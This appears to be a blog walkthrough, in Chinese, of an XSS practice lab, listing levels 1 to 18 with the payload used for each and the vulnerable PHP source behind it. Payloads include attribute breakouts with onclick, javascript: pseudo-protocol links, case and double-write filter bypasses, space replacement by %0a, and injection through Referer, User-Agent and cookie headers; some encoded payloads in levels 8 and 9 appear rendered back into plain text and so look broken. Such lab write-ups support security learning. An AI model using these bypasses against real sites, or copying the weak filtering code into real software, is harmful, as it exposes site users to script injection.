level 1
观察地址栏得知是GET
请求,参数是name
,值为test
修改参数值定位位置,发现是在 h2
标签内,判断为反射型xss
于是直接在把name
参数赋值为:
<script>alert('xss')</script>
从浏览器观察直接弹出来了,查看一下源码,发现有一个str
变量,值是name
,同时str
变量又被放在了h2
标签中,且没做任何过滤处置。
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
level 2
从地址栏观察URL
发现依旧是GET
方式来传递参数,不言而喻是反射型XSS
使用第一关的<script>alert('xss')</script>
,发现并没有出现弹窗,查看页面源代码,发现在h2
标签中,<script>
的<>
被HTML
实体化了
- < -->
<
- > -->
>
但 input 标签中的 value 参数没有被 HTML 编码,于是用">
分别闭合value
属性和input
标签,最后用//
注释后面的">
// payload
"><script>alert('xss')</script>//
最后在 less-2.php 中查看,发现标签h2
之所以被编码,是因为有htmlspecialchars()
函数,换言之在网页上输入的字符会经过htmlspecialchars()
函数对其进行 HTML 实体才会展示在页面上。
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
level 3
修改参数值定位具体位置,发现和 level 2 是一样的,在h2
和input
标签中
顾忌到会有编码之类,使用<script>alert('xss')</script>
来测试,然后 Ctrl + U 查看页面源代码。果不其然,与 level 2 不同的是,这关h2
和input
标签中的str
变量皆难逃被编码之命
- < -->
<
- > -->
>
因为过滤了<>
,这说明不可以用新标签,只能在标签内通过'
闭合前面的属性的方式,为后面新增属性来绕过,与此同时想到的是“鼠标事件”
// 用 ' 闭合 value 的值,新增点击事件,在 input 框中去点击一下即可触发
// 根据源码,闭合需用单引号
' onclick ='javascript:alert(1)'//
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
level 4
修改参数值定位具体位置,依旧是在h2
和input
标签中,用<script>alert('xss')</script>
来测试,查看页面源代码,发现h2
标签的参数依旧被 HTML 实体,仍然是<>
字符
但与之前不同的是,input
标签中的value
属性的值,没有出现<>
字符,所以还是用闭合属性新增鼠标事件的方式来绕过
" onclick ="javascript:alert(1)"//
最后在 less-4.php 中查看,出现了str_replace() 函数
str_replace(">","",$str);
--> 在 str 变量中,将<>
字符替换为空htmlspecialchars() 函数
--> 把一些预定义的字符转换为 HTML 实体。
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
level 5
-
用
<script>alert('xss')</script>
来测试,在h2
标签中仍是<>
字符被 HTML 实体了,而input
标签的value
属性中,完整的script
被_
断开了script
-->scr_ipt
-
尝试
" onclick ="javascript:alert(1)"//
,发现在h2
标签中"
双引号被 HTML 实体了,而input
标签的value
属性中的值,完整的onclick
被_
断开了onclick
-->o_nclick
-
于是换一种思路,用
">
来闭合 input 标签,利用a
标签的href
属性可以执行 JavaScript 伪协议的特性,绕过众多检测
"> <a href=javascript:alert(1)>1</a>//
// 看到还有一种方式,可直接触发
"><iframe src=javascript:alert(1)>
- 最后在 less-5.php 中查看,出现了
strtolower() 函数
strtolower() 函数
--> 把字符串转换为小写,赋值给str
变量,这样大小写绕过就失效了str_replace
--> 加入了_
破坏完整的字符
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
level 6
用<script>alert('xss')</script>
来测试,发现在h2
标签中仍是<>
字符被 HTML 实体了,而input
标签的value
属性中,完整的script
被_
断开了
尝试点击事件" onclick ="javascript:alert(1)"//
,发现在h2
标签中"
双引号被 HTML 实体了,而input
标签的value
属性中的值,完整的onclick
被_
断开了
试一下伪协议"> <a href=javascript:alert(1)>1</a>//
,完整的href
被_
断开了
于是使用大小写绕过
// 点击事件大小写绕过
" ONCLICK ="alert(1)"//
// 伪协议大小写绕过
"><a HREF=javascript:alert(1)>xss</a>//
查看 level6.php,可以看到 str_replace 函数分别破坏了<script、on、src、data、href
等元素。h2 标签处做了 HTML 实体
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
level 7
通过测试,发现 input 标签的 value 属性的值 script、on、href
被直接替代为了空,h2 标签依旧是 HTML 实体了
于是通过双写绕过的方式去绕过检测
// script
"><scrscriptipt>alert('xss')</scrscriptipt>
// href 和 script,伪协议
"> <a hrhrefef=javascscriptript:alert(1)>1</a>//
// 点击事件
" oonnclick ="javascscriptript:alert(1)"//
查看 level7.php,可以看到 str_replace 函数分别把<script、on、src、data、href
替代为了空
h2 标签处做了 HTML 实体,strtolower()函数把字符串转换为小写
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
level 8
定位一下,第一个参数在 input 标签的 value 属性中, 第二个参数在 a 标签的 href 属性中
通过测试,发现在 input 标签的 value 属性中<> "
被 HTML 编码了,a 标签的 href 属性把script、on、src、data、href
用_
截断了,同时"
被 HTML 编码了
使用大小写绕过也失败了,说明有 strtolower 函数。
因为第二个参数在 href
属性中,而href
属性支持构造伪协议,但script
被_
所限制,于是尝试用编码的方式去绕过
javascript:alert(1)
javascript:alert(1)
level 9
定位参数,第一个参数照旧,第二个参数还是在 a 标签的 href 属性中
用javascript:alert(1)
测试,a 标签的 href 属性的值显示“您的链接不合法”
一般而言,href 属性是要填 URL 的,那就补上一个https://www.google.com
输入javascript:alert(1)//http://www.baidu.com
,从页面源代码处看到script
被_
截断了,那就 HTML 编码一下
javascript:alert(1)//http://www.baidu.com
// s--> s
从 level9.php 可以观察到,如果没有http://
字符,会输出链接不合法
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
level 10
从 URL 处输入测试参数,然后 CTRL+U 查看页面源代码发现有三个 input 标签,且 type="hidden",也就是隐藏表单。
把三个 input 标签的类型修改为 text,看在页面的显示情况
// 发现页面出现文本框,t_sort,这证明可对其进行突破
text&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
// 出现文本框后可直接注入 XSS 代码
" type="text" onclick="alert('xss')
从源码看把<>
替换为空了,这恐怕只能在标签内部通过新增属性的方式来答题了
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
level 11
查看源代码发现 t_ref 的 value 值为上道题的 URL,由此判断 value 值就是 referer,referer 用于告知服务器用户的来源页面,所以这道题直接篡改 referer 就可以了
referer:"type="text" onclick="alert('xss')
level 12
CTRL+U 查看源代码发现 t_ua 的 value 值为 User-Agent,也就是用户代理,通常标识浏览器、及其版本号及其主机操作系统。
User-Agent: "type="text" onclick="alert('xss')
level 13
CTRL+U 查看源代码发现 t_cook 的 value 值为call me maybe?
,使用浏览器插件 Cookie Editor 查看 cookie 的值与之相似,于是判定 value 值就是 cookie
user=" type="text" onclick="alert('xss')
level 14
网页一直在响应,最终以失败告终,查看源码发现原链接已经失效
这关主要考察Exif,Exif 记录着照片的属性信息和拍摄数据,可以更改图片的参数把一张恶意的图片传到可执行该信息的网站
level 15
查看页面源码,最底部有一行 span 标签,class 属性是ng-include
<span class="ng-include:"></span>
查询了一下得知是前端框架 angular js 里面的,含义是文件包含
于是可以把本地文件level1.php
包含起来让其执行 XSS
?src='level1.php?name=<img src=1 onerror=alert(1)>'
level 16
用<script>alert('xss')</script>
测试,查看页面源代码,发现参数值在 center 标签中,而用于构造 XSS 的script、/、空格
被替换为了
/
被编码这意味着像是<></>
需要闭合的标签用不了,所以想到了<img>
这种自闭和的标签
换行符 --URL编码后--> %0a
// 直接输入发现“空格”被替换为了 因此考虑用 %0a 即换行符绕过空格
<img src=”1” onerror=alert(‘xss’)>
<img%0asrc=1%0aonerror=alert(1)>
<img
src=”1”
onerror=alert(‘xss’)
>
level 17
在 URL 中填上参数?arg01=1111
&arg02=2222
,然后查看页面源代码,发现有个 embed 标签,填入的参数在 src 属性中进行了拼接
<embed>
标签就是引入一个swf
文件【SWF
格式是动画软件Flash
的专用格式】
<!-- 查看页面源代码 -->
<embed src=xsf01.swf?1111=2222 width=100% heigth=100%><h2 align=center>
?arg01= onclick&arg02=alert(‘xss’) //
' > onmouseover=alert(1)
level 18
和 level 17 是一样的
level 19、20
IE 浏览器和 flash 均已被历史淘汰
文章来源: 博客园
- 还没有人评论,欢迎说说您的想法!